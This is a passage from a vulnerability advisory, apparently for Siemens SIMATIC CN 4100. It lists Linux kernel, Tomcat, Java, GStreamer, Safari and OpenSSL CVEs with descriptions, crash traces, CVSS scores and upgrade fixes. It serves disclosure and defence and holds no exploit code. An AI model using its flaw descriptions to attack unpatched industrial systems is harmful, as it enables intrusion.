Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 spin_lock_bh include/linux/spinlock.h:356 [inline] release_sock+0x21/0x220 net/core/sock.c:3746 bt_accept_dequeue+0x505/0x600 net/bluetooth/af_bluetooth.c:312 l2cap_sock_cleanup_listen+0x5c/0x2a0 net/bluetooth/l2cap_sock.c:1451 l2cap_sock_release+0x5c/0x210 net/bluetooth/l2cap_sock.c:1425 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x3ff/0xb70 fs/file_table.c:468 task_work_run+0x14d/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xeb/0x110 kernel/entry/common.c:43 exit_to_user_mode_prepare include/linux/irq-entry-common.h:225 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:175 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:210 [inline] do_syscall_64+0x3f6/0x4c0 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f2accf8ebe9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffdb6cb1378 EFLAGS: 00000246 ORIG_RAX: 00000000000001b4 RAX: 0000000000000000 RBX: 00000000000426fb RCX: 00007f2accf8ebe9 RDX: 0000000000000000 RSI: 000000000000001e RDI: 0000000000000003 RBP: 00007f2acd1b7da0 R08: 0000000000000001 R09: 00000012b6cb166f R10: 0000001b30e20000 R11: 0000000000000246 R12: 00007f2acd1b609c R13: 00007f2acd1b6090 R14: ffffffffffffffff R15: 00007ffdb6cb1490 Allocated by task 5326: kasan_save_stack+0x33/0x60 mm/kasan/common.c:47 kasan_save_track+0x14/0x30 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:388 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:405 kasan_kmalloc include/linux/kasan.h:260 [inline] __do_kmalloc_node mm/slub.c:4365 [inline] __kmalloc_nopro ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39864\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: fix use-after-free in cmp_bss() Following bss_free() quirk introduced in commit 776b3580178f (\"cfg80211: track hidden SSID networks properly\"), adjust cfg80211_update_known_bss() to free the last beacon frame elements only if they're not shared via the corresponding 'hidden_beacon_bss' pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39865\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tee: fix NULL pointer dereference in tee_shm_put tee_shm_put have NULL pointer dereference: __optee_disable_shm_cache --> shm = reg_pair_to_ptr(...);//shm maybe return NULL tee_shm_free(shm); --> tee_shm_put(shm);//crash Add check in tee_shm_put to fix it. panic log: Unable to handle kernel paging request at virtual address 0000000000100cca Mem abort info: ESR = 0x0000000096000004 EC = 0x25: DABT (current EL), IL = 32 bits SET = 0, FnV = 0 EA = 0, S1PTW = 0 FSC = 0x04: level 0 translation fault Data abort info: ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 CM = 0, WnR = 0, TnD = 0, TagAccess = 0 GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 user pgtable: 4k pages, 48-bit VAs, pgdp=0000002049d07000 [0000000000100cca] pgd=0000000000000000, p4d=0000000000000000 Internal error: Oops: 0000000096000004 [#1] SMP CPU: 2 PID: 14442 Comm: systemd-sleep Tainted: P OE ------- ---- 6.6.0-39-generic #38 Source Version: 938b255f6cb8817c95b0dd5c8c2944acfce94b07 Hardware name: greatwall GW-001Y1A-FTH, BIOS Great Wall BIOS V3.0 10/26/2022 pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : tee_shm_put+0x24/0x188 lr : tee_shm_free+0x14/0x28 sp : ffff001f98f9faf0 x29: ffff001f98f9faf0 x28: ffff0020df543cc0 x27: 0000000000000000 x26: ffff001f811344a0 x25: ffff8000818dac00 x24: ffff800082d8d048 x23: ffff001f850fcd18 x22: 0000000000000001 x21: ffff001f98f9fb88 x20: ffff001f83e76218 x19: ffff001f83e761e0 x18: 000000000000ffff x17: 303a30303a303030 x16: 0000000000000000 x15: 0000000000000003 x14: 0000000000000001 x13: 0000000000000000 x12: 0101010101010101 x11: 0000000000000001 x10: 0000000000000001 x9 : ffff800080e08d0c x8 : ffff001f98f9fb88 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : ffff001f83e761e0 x1 : 00000000ffff001f x0 : 0000000000100cca Call trace: tee_shm_put+0x24/0x188 tee_shm_free+0x14/0x28 __optee_disable_shm_cache+0xa8/0x108 optee_shutdown+0x28/0x38 platform_shutdown+0x28/0x40 device_shutdown+0x144/0x2b0 kernel_power_off+0x3c/0x80 hibernate+0x35c/0x388 state_store+0x64/0x80 kobj_attr_store+0x14/0x28 sysfs_kf_write+0x48/0x60 kernfs_fop_write_iter+0x128/0x1c0 vfs_write+0x270/0x370 ksys_write+0x6c/0x100 __arm64_sys_write+0x20/0x30 invoke_syscall+0x4c/0x120 el0_svc_common.constprop.0+0x44/0xf0 do_el0_svc+0x24/0x38 el0_svc+0x24/0x88 el0t_64_sync_handler+0x134/0x150 el0t_64_sync+0x14c/0x15\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39866\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use-after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. CPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1 ...... pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __mark_inode_dirty+0x124/0x418 lr : __mark_inode_dirty+0x118/0x418 sp : ffffffc08c9dbbc0 ........ Call trace: __mark_inode_dirty+0x124/0x418 generic_update_time+0x4c/0x60 file_modified+0xcc/0xd0 ext4_buffered_write_iter+0x58/0x124 ext4_file_write_iter+0x54/0x704 vfs_write+0x1c0/0x308 ksys_write+0x74/0x10c __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x114 el0_svc_common.constprop.0+0xc0/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x40/0xe4 el0t_64_sync_handler+0x120/0x12c el0t_64_sync+0x194/0x198 Root cause is: systemd-random-seed kworker ---------------------------------------------------------------------- ___mark_inode_dirty inode_switch_wbs_work_fn spin_lock(&inode->i_lock); inode_attach_wb locked_inode_to_wb_and_lock_list get inode->i_wb spin_unlock(&inode->i_lock); spin_lock(&wb->list_lock) spin_lock(&inode->i_lock) inode_io_list_move_locked spin_unlock(&wb->list_lock) spin_unlock(&inode->i_lock) spin_lock(&old_wb->list_lock) inode_do_switch_wbs spin_lock(&inode->i_lock) inode->i_wb = new_wb spin_unlock(&inode->i_lock) spin_unlock(&old_wb->list_lock) wb_put_many(old_wb, nr_switched) cgwb_release old wb released wb_wakeup_delayed() accesses wb, then trigger the use-after-free issue Fix this race condition by holding inode spinlock until wb_wakeup_delayed() finished.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-40300\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/vmscape: Add conditional IBPB mitigation VMSCAPE is a vulnerability that exploits insufficient branch predictor isolation between a guest and a userspace hypervisor (like QEMU). Existing mitigations already protect kernel/KVM from a malicious guest. Userspace can additionally be protected by flushing the branch predictors after a VMexit. Since it is the userspace that consumes the poisoned branch predictors, conditionally issue an IBPB after a VMexit and before returning to userspace. Workloads that frequently switch between hypervisor and userspace will incur the most overhead from the new IBPB. This new IBPB is not integrated with the existing IBPB sites. For instance, a task can use the existing speculation control prctl() to get an IBPB at context switch time. With this implementation, the IBPB is doubled up: one at context switch and another before running userspace. The intent is to integrate and optimize these cases post-embargo. [ dhansen: elaborate on suboptimal IBPB solution ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-43368\n<div class=\"csaf-accordion-content\">\n\nA use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26, iOS 26 and iPadOS 26, macOS Tahoe 26. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-47219\n<div class=\"csaf-accordion-content\">\n\nIn GStreamer through 1.26.1, the isomp4 plugin's qtdemux_parse_trak function may read past the end of a heap buffer while parsing an MP4 file, possibly leading to information disclosure.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n8.1\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-48989\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat made Tomcat vulnerable to the made you reset attack. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.9, from 10.1.0-M1 through 10.1.43 and from 9.0.0.M1 through 9.0.107. Older, EOL versions may also be affected. Users are recommended to upgrade to one of versions 11.0.10, 10.1.44 or 9.0.108 which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53057\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53066\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JAXP). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55752\n<div class=\"csaf-accordion-content\">\n\nRelative Path Traversal vulnerability in Apache Tomcat. The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-23 Relative Path Traversal\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55754\n<div class=\"csaf-accordion-content\">\n\nImproper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat. Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-150 Improper Neutralization of Escape, Meta, or Control Sequences\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.6\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61748\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 21.0.8 and 25; Oracle GraalVM for JDK: 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61795\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat. If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-2673\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword. Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server. If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported. As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction). OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included. The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group. The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'. No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary. OpenSSL 3.6 and 3.5 are vulnerable to this issue. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released. OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor 